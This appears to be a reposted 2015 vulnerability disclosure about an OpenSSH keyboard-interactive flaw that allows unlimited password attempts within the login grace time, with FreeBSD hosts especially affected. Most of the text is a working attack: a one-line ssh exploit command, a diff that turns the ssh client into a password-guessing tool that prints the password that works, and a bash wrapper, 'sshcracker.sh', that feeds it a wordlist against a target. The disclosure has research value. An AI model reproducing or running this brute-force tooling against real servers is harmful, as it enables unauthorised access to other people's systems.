OpenSSH keyboard-interactive authentication brute force vulnerability

M2G · July 23, 2015

OpenSSH has a default value of six authentication tries before it will close the connection (the ssh client allows only three password entries per default).

With this vulnerability an attacker is able to request as many password prompts limited by the “login graced time” setting, that is set to two minutes by default.

Especially FreeBSD systems are affected by the vulnerability because they have keyboard-interactive authentication enabled by default.

A simple way to exploit the bug is to execute this command:

ssh -lusername -oKbdInteractiveDevices=`perl -e 'print "pam," x 10000'` targethost

This will effectively allow up to 10000 password entries limited by the login grace time setting.

The crucial part is that if the attacker requests 10000 keyboard-interactive devices openssh will gracefully execute the request and will be inside a loop to accept passwords until the specified devices are exceeded.

Here is a patch for openssh-6.9p1 that will allow to use a wordlist and any passwords piped to the ssh process to be used in order to crack passwords remotely.

---snip---

diff openssh-6.9p1/sshconnect2.c openssh-6.9p1-modified/sshconnect2.c
 83a84,85
 > char password[1024];
 >
 510c512,517
 < authctxt->success = 1; /* break out */
 ---
 > printf("==============================================\n");
 > printf("*** SUCCESS **********************************\n");
 > printf("*** PASSWORD: %s\n", password);
 > printf("==============================================\n");
 > exit(0);
 >
 1376a1384,1385
 > char *devicebuffer;
 > int i;
 1386a1396,1405
 > devicebuffer = calloc(1, 200000);
 > if (!devicebuffer) {
 > fatal("cannot allocate devicebuffer");
 > }
 >
 > for (i=0;i<200000-2;i+=2) {
 > memcpy(devicebuffer + i, "p,", 2);
 > }
 > devicebuffer[200000] = 0;
 >
 1393,1394c1412
 < packet_put_cstring(options.kbd_interactive_devices ?
 < options.kbd_interactive_devices : "");
 ---
 > packet_put_cstring(devicebuffer);
 1408c1426
 < char *name, *inst, *lang, *prompt, *response;
 ---
 > char *name, *inst, *lang, *prompt;
 1410c1428
 < int echo = 0;
 ---
 > char *pos;
 1425a1444
 >
 1430a1450
 >
 1443,1449c1463,1469
 < echo = packet_get_char();
 <
 < response = read_passphrase(prompt, echo ? RP_ECHO : 0);
 <
 < packet_put_cstring(response);
 < explicit_bzero(response, strlen(response));
 < free(response);
 ---
 > packet_get_char();
 > if (fgets(password, 1024, stdin) == NULL)
 > exit(0);
 > if ((pos=strchr(password, '\n')) != NULL)
 > *pos = '';
 > printf("%s\n", password);
 > packet_put_cstring(password);

---snip---

After applying the patch you can use this shell script to make the password attack from a wordlist:

---snip---

#!/bin/bash
# run as:
# cat wordlist.txt | ./sshcracker.sh ssh-username ssh-target
#
while true
do
./ssh -l$1 $2
rc=$?; if [[ $rc == 0 ]]; then exit $rc; fi
echo Respawn due to login grace time...
done

---snip---

For example enter this command:

cat wordlist.txt | ./sshcracker.sh test 192.168.2.173

The attack has been tested against a new FreeBSD 10.1 system and older FreeBSD versions such as version 6.2.

Sursa